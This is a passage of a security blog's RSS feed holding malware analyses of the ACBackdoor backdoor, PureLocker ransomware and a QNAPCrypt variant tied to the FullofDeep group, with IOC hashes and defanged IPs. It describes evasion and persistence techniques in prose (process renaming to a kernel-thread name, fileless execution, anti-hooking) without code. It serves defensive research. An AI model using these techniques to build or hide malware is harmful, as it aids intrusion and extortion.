&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig9.png" title="Persistence implementations across ACBackdoor samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Persistence implementations across ACBackdoor samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Based on the names chosen to label the persistent instances of this malware, we
can see that the Windows instance tries to masquerade itself as a Microsoft
Anti Spyware utility (&lt;code&gt;MsMpEng.exe&lt;/code&gt;), while the Linux instance attempts to
masquerade itself as the Ubuntu release update utility (&lt;code&gt;update-notifier&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The Linux instance will then set an independent session via fork/setsid system
calls in order to create an independent process. It will close unnecessary file
descriptors using prlimit/close system calls to then rename its process name to
that of a kernel thread, specifically &lt;code&gt;[kworker/u8:7-ev]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If we run the ps command on a compromised Linux system we will see this process
name among the listed processes:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig10.png" title="Process renaming performed by ACBackdoor Linux instance" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Process renaming performed by ACBackdoor Linux instance&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Command and Control Communication&lt;span class="hx:absolute hx:-mt-20" id="command-and-control-communication"&gt;&lt;/span&gt;
&lt;a href="#command-and-control-communication" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware will proceed to communicate with the CNC. Both malware instances
share the same CNC server and transport protocol, that being HTTPS.&lt;/p&gt;
&lt;p&gt;The malware will send an initial packet to the CNC with the previously
collected victim information. The client does not appear to verify the
authenticity of the certificate on TLS handshake, therefore the communication
is prone to MITM attacks.&lt;/p&gt;
&lt;p&gt;The malware creates the headers for the HTTP request in which some custom
headers are included which embed specific information for the server to
collect. The following visual is an intercepted initial TLS stripped packet
from a compromised Linux host which displays these headers:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig11.png" title="Intercepted TLS stripped HTTPS packet" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Intercepted TLS stripped HTTPS packet&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Among the different headers we can highlight the &lt;code&gt;Access-Control&lt;/code&gt; and
&lt;code&gt;X-Access&lt;/code&gt; headers which are unconventional HTTP headers.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Access-Control contains the base64 encoded string of the command type. In
this case the type &lt;code&gt;info&lt;/code&gt;, which is the preliminary packet sent to the CNC.&lt;/li&gt;
&lt;li&gt;X-Access contains an MD5 hash used as an integrity check for the contained
payload. This MD5 hash was previously generated after victim information was
collected as documented above.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The payload is base64 encoded and it contains the crafted string containing all
of the compromised host’s collected information.&lt;/p&gt;
&lt;p&gt;The malware then expects a response to this preliminary package in order to
execute commands.&lt;/p&gt;
&lt;p&gt;There is a total of four commands supported by ACBackdoor: these being info,
run, execute, and update.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig12.png" title="Control flow graph similarities on command handling across samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Control flow graph similarities on command handling across samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As previously mentioned, the info command is really the first point of contact
between the client and the CNC.&lt;/p&gt;
&lt;p&gt;The run command is intended to run arbitrary shell commands. The execute
command is capable of executing a given binary in the compromised host, and the
update command updates the client itself.&lt;/p&gt;
&lt;p&gt;These commands vary in implementation between the different instances of this
malware. However, an additional hint may indicate the authors behind this
malware have more experience writing Linux malware. This can be found by
examining the implementation of the execute command.&lt;/p&gt;
&lt;p&gt;In the Windows instance, this command is implemented via CreateFile and
CreateProcess Win32 API functions. In Linux, a combination of memfd_create,
fork, and execveat system calls are used:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/images/fig13.png" title="Execute command implementation across ACBackdoor samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Execute command implementation across ACBackdoor samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;At first glance, the implementations of these execute commands may not seem to
be much different from each other in terms of functionality. However, it’s
important to highlight that the Linux instance implementation does provide a
means to execute fileless code. This is not the case with the Windows
implementation.&lt;/p&gt;
&lt;p&gt;These specific details along with the analysis above have led us to conclude
that the authors behind ACBackdoor are more comfortable operating in Linux
systems, while they may currently be experimenting in Windows by porting their
malware to this system.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We have covered the technical analysis of this multi-platform malware which we
have named ACBackdoor. After further analysis of the Windows instance we have
gotten a sense that the authors behind ACBackdoor have a lack of experience in
writing Windows malware.&lt;/p&gt;
&lt;p&gt;In addition, we have identified some strings belonging to the Linux version
which are also present in the Windows instance of ACBackdoor, implying that the
Linux version was likely written before the Windows version.&lt;/p&gt;
&lt;p&gt;Apart from having a lower detection rate, the Linux version is overall similar
in logic to the Windows variant. The Linux implant has noticeably been written
better than the Windows implant, highlighting the implementation of the
persistence mechanism along with the different backdoor commands and additional
features not seen in the Windows version such as independent process creation
and process renaming.&lt;/p&gt;
&lt;p&gt;We can assess with high confidence that this threat group has experience
developing Linux-based malware. Because there is no attributable information
documented on this backdoor, there is a possibility that some known Linux-based
threat group is updating its toolset.&lt;/p&gt;
&lt;p&gt;In addition, this is further evidence that Linux variants have consistently
lower detection rates than Windows.&lt;/p&gt;
&lt;p&gt;The binary code from both ACBackdoor implants have been indexed in Intezer
Analyze. Users can now detect and classify Linux and Windows variants of this
threat by uploading their suspicious file(s) or scanning the code running in
their endpoint via &lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=acbackdoor-analysis-of-a-new-multiplatform-backdoor&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/"target="_blank" rel="noopener"&gt;analyze.intezer.com&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;5d51dbf649d34cd6927efdb6ef082f27a6ccb25a92e892800c583a881bbf9415
907e1dfde652b17338d307b6a13a5af7a8f6ced93a7a71f7f65d40123b93f2b8
193[.]29[.]15[.]147
185[.]198[.]56[.]53&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>PureLocker: New Ransomware-as-a-Service Being Used in Targeted Attacks Against Servers</title><link>https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/</link><pubDate>Tue, 12 Nov 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/</guid><description>
&lt;p&gt;&lt;em&gt;Analysis by Intezer and IBM X-Force points its origins to a
Malware-as-a-Service (MaaS) provider utilized by the Cobalt Gang and FIN6
attack groups&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;This is a mutual research between Intezer and IBM&amp;rsquo;s X-Force IRIS team&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;We have found a new and undetected ransomware threat that is being used for
targeted attacks against production servers of enterprises. Using code reuse
analysis, we discovered this threat is closely related to the &amp;ldquo;more_eggs&amp;rdquo;
backdoor malware, which is sold on the dark web by a veteran
&lt;a href="https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648"target="_blank" rel="noopener"&gt;MaaS provider&lt;/a&gt;
and has been used by the Cobalt Gang, FIN6, and other threat groups.&lt;/p&gt;
&lt;p&gt;While the samples we analyzed are for the Windows platform, we have noticed
that the group operating this ransomware is also employing a Linux variant in
order to attack the Linux infrastructure of its targets.&lt;/p&gt;
&lt;p&gt;We have named this ransomware PureLocker because it&amp;rsquo;s written in the PureBasic
programming language. As part of our analysis, we have identified the evasion
methods and design features that have allowed this ransomware to remain under
the radar for several months. Below we present our findings through a technical
analysis of the malware samples.&lt;/p&gt;
&lt;h2&gt;Initial Analysis&lt;span class="hx:absolute hx:-mt-20" id="initial-analysis"&gt;&lt;/span&gt;
&lt;a href="#initial-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The Windows sample we analyzed is a 32-bit DLL, masquerading as a C++
cryptography library called &lt;a href="https://www.cryptopp.com/"target="_blank" rel="noopener"&gt;Crypto++&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In viewing the exports section we quickly noticed that something was unusual,
as the library supposedly contains functions related to music playback.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;When looking at anti-virus vendor scan results in VirusTotal, we observed that
the file has been essentially undetected for more than three weeks now, which
is quite rare for a malicious file:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Additionally, when we executed this file in several sandbox environments it
didn&amp;rsquo;t exhibit any malicious or suspicious behaviors.&lt;/p&gt;
&lt;p&gt;However, after genetically analyzing the file in Intezer Analyze we made three
key observations:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;There is no Crypto++ code connection here, meaning the sample is not a
Crypto++ library.&lt;/li&gt;
&lt;li&gt;The file contains reused code from several malware families, mainly from
Cobalt Gang binaries. This means the file is malicious and may have
relations to Cobalt Gang.&lt;/li&gt;
&lt;li&gt;The majority of the relevant code in this file is unique, indicating that
it&amp;rsquo;s likely a new or highly modified malware. A Closer Look&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A closer look reveals this file is a ransomware written in the
&lt;a href="https://www.purebasic.com/"target="_blank" rel="noopener"&gt;PureBasic programming language&lt;/a&gt;, a rather uncommon
programming language. This unusual choice poses advantages for the attacker. AV
vendors have trouble generating reliable detection signatures for PureBasic
binaries. In addition, PureBasic code is portable between Windows, Linux, and
OS-X, making targeting different platforms easier.&lt;/p&gt;
&lt;p&gt;The malware is designed to be executed as a COM server DLL by regsrv32.exe,
which will invoke the DllRegisterServer export, where the malware&amp;rsquo;s code
resides. All of the other, music related, exports have no functionality and are
included in the ransomware for deception only.&lt;/p&gt;
&lt;p&gt;The malware&amp;rsquo;s strings are encoded and stored as Unicode hex strings. Each
string is decoded on demand by calling a string decoding function.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware&amp;rsquo;s code begins by checking if it was executed as intended by the
attackers, and that it&amp;rsquo;s not being analyzed or debugged. If any of these checks
fail, the malware will exit immediately, without deleting itself, likely as an
anti-analysis method not to raise suspicion. The main function flow graph is
presented below:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig6.png" title="Overview of main payload function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Overview of main payload function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In case the malware&amp;rsquo;s payload is executed, the malware will delete itself
immediately afterwards.&lt;/p&gt;
&lt;h2&gt;Part of a Targeted Attack Chain&lt;span class="hx:absolute hx:-mt-20" id="part-of-a-targeted-attack-chain"&gt;&lt;/span&gt;
&lt;a href="#part-of-a-targeted-attack-chain" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;There are several hints suggesting that this component is part of a targeted
and multi-stage attack. The malware begins by checking whether it was executed
with the &lt;code&gt;/s /i&lt;/code&gt; arguments, which instructs regsrv32.exe to install the DLL
component without raising any dialogues (silent):&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Later on the malware verifies that it&amp;rsquo;s indeed executed by &lt;code&gt;regsrv32.exe&lt;/code&gt;, and
that its file extension is either &lt;code&gt;.dll&lt;/code&gt; or &lt;code&gt;.ocx&lt;/code&gt;. It also verifies that the
current year on the machine is 2019, and that it has administrator rights. As
mentioned, if any of these checks fail, the malware will exit without
performing any malicious activity, likely in an attempt to conceal its
functionality.&lt;/p&gt;
&lt;p&gt;This type of behavior is not common in ransomware, which typically prefer to
infect as many victims as possible in the hopes of gaining as much profit as
possible. Additionally, being a DLL file designed to be executed in a very
specific manner reveals this ransomware is a later-stage component of a
multi-stage attack.&lt;/p&gt;
&lt;h2&gt;Evasion and Anti-Analysis Techniques&lt;span class="hx:absolute hx:-mt-20" id="evasion-and-anti-analysis-techniques"&gt;&lt;/span&gt;
&lt;a href="#evasion-and-anti-analysis-techniques" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Uncharacteristically for a ransomware, the malware uses an anti-hooking
technique by manually loading another copy of &amp;ldquo;ntdll.dll&amp;rdquo; and resolving API
addresses manually from there. This is an attempt by the malware to evade
user-mode hooking of ntdll functions. While it&amp;rsquo;s a known trick, it&amp;rsquo;s rarely
used in ransomware.&lt;/p&gt;
&lt;p&gt;The imports themselves are stored as 32bit hash values, and the ransomware uses
the familiar resolve-by-hash method to obtain the function addresses.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s also worth noting that the
&lt;a href="../../../2019/11/acbackdoor-analysis-of-a-new-multiplatform-backdoor/"&gt;malware uses low level Windows&lt;/a&gt;
API functions in ntdll.dll for most of its functionality—with some exceptions
from kernel32.dll and advapi32.dll—notably for file manipulation. The malware
also does not use the Windows Crypto API functions, instead relying on the
compiled-in purebasic crypto library for its encryption needs, with the
exception of utilizing
&lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-rtlgenrandom"target="_blank" rel="noopener"&gt;SystemFunction036 from advapi32.dll&lt;/a&gt;
(RtlGenRandom) for pseudo-random number generation.&lt;/p&gt;
&lt;h2&gt;Encryption and Ransom Note&lt;span class="hx:absolute hx:-mt-20" id="encryption-and-ransom-note"&gt;&lt;/span&gt;
&lt;a href="#encryption-and-ransom-note" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In the event that all anti-analysis and integrity tests performed by the
malware are satisfied, it proceeds to encrypt the files on the victim&amp;rsquo;s machine
with the standard AES+RSA combination, using a hard-coded RSA key. The
ransomware adds the &lt;code&gt;.CR1&lt;/code&gt; extension for each encrypted file. It encrypts
mostly data files, skipping encryption for executable files according to the
particular file&amp;rsquo;s extension. The ransomware then secure-deletes the original
files in order to prevent recovery. Once the malware has completed the
encryption it leaves a ransom note file on the user&amp;rsquo;s desktop named
&lt;code&gt;YOUR_FILES.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig9.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s worth noting that the ransom note does not ask for the payment type or for
the monetary amount inside of the note itself, instead instructing the victim
to contact the attacker via email. The attackers use the anonymous and
encrypted &lt;a href="https://protonmail.com/"target="_blank" rel="noopener"&gt;Proton email service&lt;/a&gt;. Each sample we
analyzed contained a different email address, which might be how the attackers
can link between different victims and their respective decryption keys (each
email corresponds to a specific RSA key pair). This is further evidence that
this threat is different from typical forms of ransomware.&lt;/p&gt;
&lt;p&gt;Another element to note is the &lt;code&gt;CR1&lt;/code&gt; string, which appears in the attacker
email addresses, the encrypted file extension, and ransom note. Since this is a
RaaS, we believe this string is most likely the identifier of the group that is
operating these specific samples.&lt;/p&gt;
&lt;h2&gt;Code Connections and Origin&lt;span class="hx:absolute hx:-mt-20" id="code-connections-and-origin"&gt;&lt;/span&gt;
&lt;a href="#code-connections-and-origin" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;A deeper examination of the genetic analysis results reveals that the code
reuse connections to Cobalt Gang are related to a specific component used by
the group in its attack chain,
&lt;a href="http://blog.morphisec.com/cobalt-gang-2.0"target="_blank" rel="noopener"&gt;described here by Morphisec&lt;/a&gt; as the
Stage 3 Dropper DLL. More specifically, this component is the loader part of
the &amp;ldquo;more_eggs&amp;rdquo; JScript backdoor, also known as &amp;ldquo;SpicyOmelette&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Last year,
&lt;a href="https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648"target="_blank" rel="noopener"&gt;QuoScient uncovered&lt;/a&gt;
that Cobalt Gang had been buying its malware kits from a malware-as-a-service
(MaaS) provider on underground cybercrime forums. QuoScient also observed two
additional threat groups using the same MaaS kits in their operations,
including the &amp;ldquo;more_eggs&amp;rdquo; backdoor.&lt;/p&gt;
&lt;p&gt;Most recently, IBM X-Force has
&lt;a href="https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/"target="_blank" rel="noopener"&gt;uncovered several campaigns by FIN6&lt;/a&gt;
(also known as ITG08) where they observed heavy usage of the &amp;ldquo;more_eggs&amp;rdquo;
malware kit.&lt;/p&gt;
&lt;p&gt;A comparison between the PureLocker ransomware samples and recent more_eggs
loader samples reveals it&amp;rsquo;s extremely likely that they were created by the same
author. The lines of similarity are evident:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;COM Server DLL components written in PureBasic&lt;/li&gt;
&lt;li&gt;Nearly identical pre-payload stage in both functionality and code, with
identical evasion and anti-analysis methods&lt;/li&gt;
&lt;li&gt;Identical string encoding and decoding methods&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/11/purelocker-ransomware-being-used-in-targeted-attacks-against-servers/images/fig10.png" title="COM Server DLL components written in PureBasic" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;COM Server DLL components written in PureBasic&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;These findings strongly suggest that the MaaS provider of &amp;ldquo;more_eggs&amp;rdquo; has added
a new malware kit to its offerings, by modifying the &amp;ldquo;more_eggs&amp;rdquo; loader&amp;rsquo;s
payload from a JScript backdoor to a ransomware.&lt;/p&gt;
&lt;p&gt;While we have a good sense regarding the malware&amp;rsquo;s origin, it&amp;rsquo;s unclear at this
time whether the &amp;ldquo;CR1&amp;rdquo; group that&amp;rsquo;s using this ransomware for targeted attacks
is a previous customer of the MaaS provider, such as Cobalt Gang and FIN6, or a
new one.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;PureLocker is a rather unorthodox ransomware. Instead of trying to infect as
many victims as possible, it was designed to conceal its intentions and
functionalities unless executed in the intended manner. This approach has
worked well for the attackers who have managed to successfully use it for
targeted attacks, while remaining undetected for several months.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s interesting to note that the code of the evasion and anti-analysis
functionalities described in this blog is directly copied from the &amp;ldquo;more_eggs&amp;rdquo;
backdoor loader. Some of these duplicated features have allowed the ransomware
to stay undetected by evading automated analysis systems. This provides an
example of the importance of code reuse analysis for malware detection and
classification. It twists the usage of any previously used code, even code for
effective evasion and anti-analysis, into a reliable indicator for detection.&lt;/p&gt;
&lt;p&gt;The PureLocker ransomware is now indexed in Intezer&amp;rsquo;s code genome database and
the genetic analysis of its samples
&lt;a href="https://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=purelocker-ransomware-being-used-in-targeted-attacks-against-servers&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com#/files/c592c52381d43a6604b3fc657c5dc6bee61aa288bfa37e8fc54140841267338d"target="_blank" rel="noopener"&gt;can be viewed in Intezer Analyze&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Intezer would like to thank IBM&amp;rsquo;s X-Force IRIS team for its collaboration on
this mutual research. For more information, check out
&lt;a href="https://exchange.xforce.ibmcloud.com/collection/New-Ransomware-Available-for-Targeted-Attacks-99c7156cff70e1d8e1687ab7dadc8c0e"target="_blank" rel="noopener"&gt;IBM&amp;rsquo;s X-Force exchange collection related to this threat&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;1fd15c358e2df47f5dde9ca2102c30d5e26d202642169d3b2491b89c9acc0788
c592c52381d43a6604b3fc657c5dc6bee61aa288bfa37e8fc54140841267338d&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Russian Cybercrime Group FullofDeep Behind QNAPCrypt Ransomware Campaigns</title><link>https://research.intezer.com/blog/2019/09/russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/</link><pubDate>Fri, 20 Sep 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/09/russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We previously reported on how we managed to
&lt;a href="../../../2019/07/seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/"&gt;temporarily shut down&lt;/a&gt;
15 operative &lt;strong&gt;QNAPCrypt ransomware campaigns&lt;/strong&gt; targeting Linux-based file
storage systems (NAS servers). We have now identified a new QNAPCrypt sample
which is being used by the same threat actor group. The authors behind this new
ransomware instance have revealed enough evidence for us to conclude the
establishment of &lt;strong&gt;FullofDeep&lt;/strong&gt;, a Russian cybercrime group operating from the
Union State and the Ukraine. The group is mainly focused on ransomware
campaigns.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Initially, we received a hit from an older YARA signature, which was created to
hunt for
&lt;a href="../../../2021/03/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt/"&gt;QNAPCrypt&lt;/a&gt;
instances. Although the new ransomware variant does not share large portions of
code with the original QNAPCrypt campaigns, the naming convention used in the
new ransomware&amp;rsquo;s functions has been observed in previous QNAPCrypt instances:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/09/russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In addition, the new variant utilizes geolocation information in order to
determine whether or not the malware will operate:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/09/russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The threat actors behind the new ransomware have filtered Belarusia(BY),
Russia(RU), and Ukraine(UA), in order to impede operation if the ransomware is
executed from one of these countries. This is similar to the QNAPCrypt implant
&lt;a href="https://www.anomali.com/blog/the-ech0raix-ransomware"target="_blank" rel="noopener"&gt;Anomali previously reported on&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/09/russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The overall functionality of the ransomware remains similar to QNAPCrypt. The
main configuration of the ransomware is static and hard-coded within the
binary, much like the latest version of QNAPCrypt.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/09/russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;As is similar to the original QNAPCrypt samples, the algorithm the attackers
chose to encrypt the filesystem with is AES CFB. One noticeable difference is
the main ransom note doesn&amp;rsquo;t advertise a specific bitcoin wallet like it did in
the original QNAPCrypt samples. Instead, the attackers demand to be contacted
via a protonmail email account:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/09/russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The email address provided is &amp;ldquo;fullofdeep&amp;rdquo;, and the ransom note annotates
&amp;lsquo;CONTACT US&amp;rsquo;. These strings draw us to the conclusion that this is a Russian
cybercrime group referred to as FullOfDeep, and that the group is deploying
different ransomware campaigns. Based on the samples&amp;rsquo; overlaps, including both
ransomware were written in Go, and in addition to similarities in the implant
function naming convention and the geolocation filtering applied, we can assess
with high confidence that this new ransomware sample is operated by the same
authors behind the original QNAPCrypt campaigns.&lt;/p&gt;
&lt;h2&gt;Summary&lt;span class="hx:absolute hx:-mt-20" id="summary"&gt;&lt;/span&gt;
